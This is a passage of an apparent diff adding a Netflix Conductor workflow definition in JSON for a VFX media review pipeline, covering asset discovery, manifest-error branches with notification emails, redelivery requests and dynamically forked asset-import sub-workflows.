"TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "mce-workflow-infra@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.map", + "taskReferenceName": "details", + "inputParameters": { + "mappings": { + "contenthubBaseUrl": "@environment.getProperty('contenthub.url')", + "contenthubProjectUrl": "@environment.getProperty('contenthub.url').concat(\"/projects/${pipelineData.output.request.request.data.projectId}\")" + } + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082386616, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.map", + "description": "General purpose task to apply expression language (SpEL) transforms", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["mappings"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "decide", + "taskReferenceName": "assetDiscoveryFlow", + "inputParameters": { + "status": "${pipelineData.output.request.request.data.skipAssetDiscovery}" + }, + "type": "DECISION", + "caseValueParam": "status", + "decisionCases": { + "true": [ + { + "name": "stl.common.noop", + "taskReferenceName": "proceed", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082386204, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.noop", + "description": "Do nothing", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "stl.common.jq", + "taskReferenceName": "getPipelineResourceIds", + "inputParameters": { + "inputData": { + "pipeline": "${pipelineData.output}" + }, + "expression": "[.pipeline.pipelineId] + (.pipeline.pipelineResources // [] | map(.id))" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.manageResourcesToPipelineTask", + "taskReferenceName": "detachPipelineResources", + "inputParameters": { + "pipelineResourceManagementInput": { + "detachById": "${getPipelineResourceIds.output.result}" + }, + "pipelineId": "${pipelineData.output.pipelineId}", + "contextUser": "pipelineapi" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1575590191136, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.manageResourcesToPipelineTask", + "description": "Attach / detach resources on a pipeline", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "pipelineId", + "contextUser", + "pipelineResourceManagementInput" + ], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 3000, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "assetdiscovery", + "taskReferenceName": "assetdiscovery", + "inputParameters": { + "pipelineId": "${pipelineData.output.pipelineId}", + "folderId": "${pipelineData.output.request.request.data.submissionNodeId}" + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.assetdiscovery", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "decide", + "taskReferenceName": "checkDiscoveryOutcome", + "inputParameters": { + "outcome": "${assetdiscovery.output.outcome}" + }, + "type": "DECISION", + "caseValueParam": "outcome", + "decisionCases": { + "MANIFEST_NOT_FOUND": [ + { + "name": "stl.common.jq", + "taskReferenceName": "prepareRecipientDomainsForManifestNotFound", + "inputParameters": { + "inputData": { + "reviewServerConfig": "${reviewServerConfig.output.result}", + "domains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + }, + { + "domains": ["netflix.amp.domain.production_vfx"], + "partnerId": "${pipelineData.output.request.request.data.vendorId}", + "ignoreIfPartnerNull": true + }, + { + "profiles": ["PRODUCTION_VFX_ADMIN"], + "includeUsersWithProfile": true + } + ], + "fallbackDomains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + } + ] + }, + "expression": ". as $in | $in.domains" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sendManifestErrorsEmail", + "taskReferenceName": "sendManifestNotFoundEmail", + "inputParameters": { + "emailType": "SINGLE", + "domains": "${prepareRecipientDomainsForManifestNotFound.output.result}", + "additionalRecipients": [ + "vfx-media-review@netflix.com", + "e1u9g2p6u1b8e5x7@netflix.slack.com" + ], + "additionalUsers": [ + "${pipelineData.output.request.request.data.ownerUser}" + ], + "eventName": "EVENT_MESSAGE_VFX_REVIEW_SUBMISSION", + "eventType": "MESSAGE_VFX_REVIEW_SUBMISSION", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "emailPayload": { + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionId": "${pipelineData.output.request.request.data.submissionId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "pipelineId": "${pipelineData.output.pipelineId}", + "subject": "Processing of submission ${pipelineData.output.request.request.data.submissionId} failed!", + "manifestName": "${assetDiscovery.output.manifestName}", + "manifestIncluded": false, + "status": "FAILED", + "oldCsv": "${oldCsv.output.result}", + "chProjectId": "${pipelineData.output.request.request.data.projectId}" + } + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.notification", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "cperequest_transition", + "taskReferenceName": "requestManifestDelivery", + "inputParameters": { + "namespace": "${pipelineData.output.request.request.namespace}", + "type": "${pipelineData.output.request.request.type}", + "requestId": "${pipelineData.output.request.request.id}", + "transitionName": "redeliver", + "skipIfInState": ["REDELIVERY"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "updateTime": 1604373979513, + "updatedBy": "cperequest", + "name": "cperequest_transition", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "namespace", + "type", + "requestId", + "transitionName", + "currentState", + "currentVersion", + "assignee", + "clearAssignee", + "dueDate", + "clearDueDate", + "skipIfInState", + "transitionDetails" + ], + "outputKeys": ["request"], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "mce-workflow-infra@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.complete", + "taskReferenceName": "completePipeline_SubmissionRejected1", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385940, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.complete", + "description": "Final task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "SubmissionRejected_1", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": { + "outcome": "SUBMISSION_REJECTED", + "code": "MANIFEST_NOT_FOUND" + } + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "DISCOVERY_ERROR": [ + { + "name": "stl.common.jq", + "taskReferenceName": "prepareRecipientDomainsForManifestErrors", + "inputParameters": { + "inputData": { + "reviewServerConfig": "${reviewServerConfig.output.result}", + "domains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + }, + { + "domains": ["netflix.amp.domain.production_vfx"], + "partnerId": "${pipelineData.output.request.request.data.vendorId}", + "ignoreIfPartnerNull": true + }, + { + "profiles": ["PRODUCTION_VFX_ADMIN"], + "includeUsersWithProfile": true + } + ], + "fallbackDomains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + } + ] + }, + "expression": ". as $in | $in.domains" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sendManifestErrorsEmail", + "taskReferenceName": "sendManifestErrorsEmail", + "inputParameters": { + "emailType": "SINGLE", + "domains": "${prepareRecipientDomainsForManifestErrors.output.result}", + "additionalRecipients": [ + "vfx-media-review@netflix.com", + "e1u9g2p6u1b8e5x7@netflix.slack.com" + ], + "additionalUsers": [ + "${pipelineData.output.request.request.data.ownerUser}" + ], + "eventName": "EVENT_MESSAGE_VFX_REVIEW_SUBMISSION", + "eventType": "MESSAGE_VFX_REVIEW_SUBMISSION", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "emailPayload": { + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionId": "${pipelineData.output.request.request.data.submissionId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "manifestErrors": "${assetDiscovery.output.displayErrors}", + "pipelineId": "${pipelineData.output.pipelineId}", + "subject": "Processing of submission ${pipelineData.output.request.request.data.submissionId} failed!", + "manifestName": "${assetDiscovery.output.manifestName}", + "manifestIncluded": true, + "manifestLink": "${details.output.submissionUri}&nodeIds=${assetDiscovery.output.manifestNodeId}", + "filesMissingInManifest": "${assetDiscovery.output.filesMissingInManifest}", + "filesMissingInSubmission": "${assetDiscovery.output.filesMissingInSubmission}", + "manifestWarnings": "${assetDiscovery.output.displayWarnings}", + "status": "FAILED", + "oldCsv": "${oldCsv.output.result}", + "chProjectId": "${pipelineData.output.request.request.data.projectId}" + } + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.notification", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "cperequest_transition", + "taskReferenceName": "requestManifestRedelivery", + "inputParameters": { + "namespace": "${pipelineData.output.request.request.namespace}", + "type": "${pipelineData.output.request.request.type}", + "requestId": "${pipelineData.output.request.request.id}", + "transitionName": "redeliver", + "skipIfInState": ["REDELIVERY"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "updateTime": 1604373979513, + "updatedBy": "cperequest", + "name": "cperequest_transition", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "namespace", + "type", + "requestId", + "transitionName", + "currentState", + "currentVersion", + "assignee", + "clearAssignee", + "dueDate", + "clearDueDate", + "skipIfInState", + "transitionDetails" + ], + "outputKeys": ["request"], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "mce-workflow-infra@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.complete", + "taskReferenceName": "completePipeline_SubmissionRejected2", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385940, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.complete", + "description": "Final task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "SubmissionRejected_2", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": { + "outcome": "SUBMISSION_REJECTED", + "code": "MANIFEST_WITH_ERRORS" + } + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "MULTIPLE_MANIFESTS_FOUND": [ + { + "name": "stl.common.jq", + "taskReferenceName": "prepareRecipientDomainsForEncodingErrors1", + "inputParameters": { + "inputData": { + "reviewServerConfig": "${reviewServerConfig.output.result}", + "domains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + }, + { + "domains": ["netflix.amp.domain.production_vfx"], + "partnerId": "${pipelineData.output.request.request.data.vendorId}", + "ignoreIfPartnerNull": true + }, + { + "profiles": ["PRODUCTION_VFX_ADMIN"], + "includeUsersWithProfile": true + } + ], + "fallbackDomains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + } + ] + }, + "expression": ". as $in | $in.domains" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sendMultipleManifestsEmail", + "taskReferenceName": "sendMultipleManifestsEmail", + "inputParameters": { + "emailType": "SINGLE", + "domains": "${prepareRecipientDomainsForEncodingErrors1.output.result}", + "additionalRecipients": [ + "vfx-media-review@netflix.com", + "e1u9g2p6u1b8e5x7@netflix.slack.com" + ], + "additionalUsers": [ + "${pipelineData.output.request.request.data.ownerUser}" + ], + "eventName": "EVENT_MESSAGE_VFX_REVIEW_SUBMISSION", + "eventType": "MESSAGE_VFX_REVIEW_SUBMISSION", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "emailPayload": { + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionId": "${pipelineData.output.request.request.data.submissionId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "pipelineId": "${pipelineData.output.pipelineId}", + "subject": "Processing of submission ${pipelineData.output.request.request.data.submissionId} failed!", + "chProjectId": "${pipelineData.output.request.request.data.projectId}", + "multipleManifests": true, + "status": "FAILED", + "oldCsv": "${oldCsv.output.result}" + } + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.notification", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.complete", + "taskReferenceName": "completePipeline_SubmissionRejected3", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385940, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.complete", + "description": "Final task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "SubmissionRejected_3", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": { + "outcome": "SUBMISSION_REJECTED", + "code": "MULTIPLE_MANIFESTS_FOUND" + } + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "addCdriveNodeIdAsExternalStatus", + "inputParameters": { + "inputData": "${assetdiscovery.output.assets}", + "expression": "[.[] | . as $in | { derivations:.derivations, movieId:.movieId, assetTree: {derivatives: .assetTree.derivatives, assets:.assetTree.assets | (to_entries | map( if(.value.payload.file != null) then .value.payload.externalStatuses |= .+{\"originalCDriveNodeId\": {value: $in.derivations.snapshot | to_entries | .[].value.nodeId}} else . end) | from_entries ), rootRefId:.assetTree.rootRefId, relations:.assetTree.relations}}]" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareImportAssetsFork", + "inputParameters": { + "inputData": { + "assetIngestRequests": "${addCdriveNodeIdAsExternalStatus.output.result}", + "user": "${workflow.input.pipelineInput.user}", + "limit": 20, + "partnerId": "${pipelineData.output.request.request.data.vendorId}" + }, + "expression": ". as $in | .assetIngestRequests | {taskDefs: map( {subWorkflowParam:{name:\"vfxmediareview.createandshareassets\"},name:\"createandshareassets\", taskReferenceName :\"createandshareassets_\\(.derivations.snapshot[]|.nodeId)\",\"type\": \"SUB_WORKFLOW\"}), \"taskInputs\":map({key:\"createandshareassets_\\(.derivations.snapshot[]|.nodeId)\", value:{assetIngestRequests:[.], user:$in.user, partnerId:$in.partnerId}})| from_entries}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "importAsset", + "taskReferenceName": "createandshareassets", + "inputParameters": { + "taskDefs": "${prepareImportAssetsFork.output.result.taskDefs}", + "taskInputs": "${prepareImportAssetsFork.output.result.taskInputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "taskDefs", + "dynamicForkTasksInputParamName": "taskInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "createandshareassets_join", + "taskReferenceName": "createandshareassets_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.manageResourcesToPipelineTask", + "taskReferenceName": "managePipelineResources", + "inputParameters": { + "pipelineResourceManagementInput": "${assetdiscovery.output.pipelineResourceManagementInput}", + "pipelineId": "${workflow.input.pipelineInput.pipelineId}", + "contextUser": "pipelineapi" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 60, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1575590191136, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.manageResourcesToPipelineTask", + "description": "Attach / detach resources on a pipeline", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "pipelineId", + "contextUser", + "pipelineResourceManagementInput" + ], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 3000, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.get", + "taskReferenceName": "pipelineDataAfterParsing", + "inputParameters": { + "pipelineId": "${pipelineData.output.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385634, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.get", + "description": "Read pipeline given pipeline id", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": ["pipeline"], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.AwaitStatusMatchPipelineResource", + "taskReferenceName": "awaitPipelineResourceState", + "inputParameters": { + "pipelineId": "${pipelineData.output.pipelineId}", + "selector": { + "resourceTypes": ["AMP_ASSET"] + }, + "allowedStatuses": ["COMPLETED", "FAILED"], + "retryAfterSeconds": "60", + "user": "pipelineapi" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1599196237488, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.AwaitStatusMatchPipelineResource", + "description": "Wait for Resources to MatchStates", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "pipelineId", + "selector", + "allowedStatuses", + "retryAfterSeconds", + "user" + ], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "cpe-che-backend@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.get", + "taskReferenceName": "pipelineDataAndResources", + "inputParameters": { + "pipelineId": "${pipelineData.output.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385634, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.get", + "description": "Read pipeline given pipeline id", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": ["pipeline"], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "manifestResource", + "inputParameters": { + "inputData": "${pipelineDataAndResources.output.pipelineResources}", + "expression": "map(select(.attachmentType == \"CSV\"))[0]" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + 